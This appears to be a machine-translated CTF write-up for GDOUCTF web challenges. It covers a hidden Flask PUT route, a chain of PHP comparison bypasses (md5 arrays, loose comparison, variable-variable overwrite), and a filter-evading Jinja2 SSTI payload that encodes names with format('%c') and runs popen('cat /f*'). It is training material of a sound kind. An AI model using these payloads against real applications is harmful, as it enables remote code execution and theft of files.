WEB GDOUCTF

web

odio comer serpiente

Encuentre js para la pregunta del juego, simplemente elimine la declaración de juicio

imagen-20230416213331939

imagen-20230416213254806

ezweb

Mire el código fuente para encontrar la ruta /src, busque el código fuente

import flask

app = flask.Flask(__name__)

@app.route('/', methods=['GET'])
def index():
  return flask.send_file('index.html')

@app.route('/src', methods=['GET'])
def source():
  return flask.send_file('app.py')

@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
  return open('flag').read()

Use PUT para acceder a la ruta /super-secret-route-nadie-will-guess

imagen-20230416212929564

no puedo soportarlo

código fuente

<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
    
    
    $b=$_POST['ctf'];
    $a=$_POST['gdou'];
    if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
    
    
        if(isset($_COOKIE['cookie'])){
    
    
           if ($_COOKIE['cookie']=='j0k3r'){
    
    
               if(isset($_GET['aaa']) && isset($_GET['bbb'])){
    
    
                  $aaa=$_GET['aaa'];
                  $bbb=$_GET['bbb'];
                 if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
    
    
                   $give = 'cancanwordflag';
                   $get ='hacker!';
                   if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    
    
                         die($give);
                    }
                   if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    
    
                       die($get);
                    }
                    foreach ($_POST as $key => $value) {
    
    
                        $$key = $value;
                   }
                    foreach ($_GET as $key => $value) {
    
    
                         $$key = $$value;
                    }
                   echo $f1ag;
            }else{
    
    
                  echo "洗洗睡吧";
                 }
    }else{
    
    
        echo "行不行啊细狗";
        }
  }
}
else {
    
    
  echo '菜菜';
}
}else{
    
    
  echo "就这?";
}
}else{
    
    
  echo "别来沾边";
}
?>

alrededor de la sentencia if

El primero: fuerte comparación de md5, la matriz puede omitir gdou[]=1&ctf[]=2

El segundo: pasar Cookie: cookie=j0k3r

El tercero: Comparación débil más un +: aaa=114514+&bbb=114514

Cuarto: mientras la bandera no esté vacía: post: flag=1 GET: flag=1

imagen-20230416213930067

ESTA ES LA WEB

mira el marco

imagen-20230416211507392

matraz, en su mayoría ssti, pruébelo

imagen-20230416212144048

imagen-20230416212158711

Ejecute el diccionario fuzz para ver que solo estos no se filtren

imagen-20230416211919734

Ver el error es jinja2

imagen-20230416214104830

Puedes usar las funciones nativas de jinja2attr

Lo que queremos construir es

{
    
    %print config|attr('__class__')|attr(__init__)|attr('__globals__')|attr('__getitem__')('o'+'s')|attr('popen')('cat /f*')|attr('read')()%}

Pero () dentro se filtran

Se puede usar format, salida de cadena formateada

Por ejemplo

attr('%c%c%c%c%c%c%c%c%c'|format(95,95,99,108,97,115,115,95,95))

es equivalente a

attr('__class__')

Entonces puedes evitarlo de esta manera

descarga final

{
    
    %print config|attr('%c%c%c%c%c%c%c%c%c'|format(95,95,99,108,97,115,115,95,95))|attr('%c%c%c%c%c%c%c%c'|format(95,95,105,110,105,116,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,108,111,98,97,108,115,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,101,116,105,116,101,109,95,95))('o'+'s')|attr('%c%c%c%c%c'|format(112,111,112,101,110))('cat /f*')|attr('%c%c%c%c'|format(114,101,97,100))()%}

Acho que você gosta

Origin blog.csdn.net/qq_63928796/article/details/130197186
Recomendado
Clasificación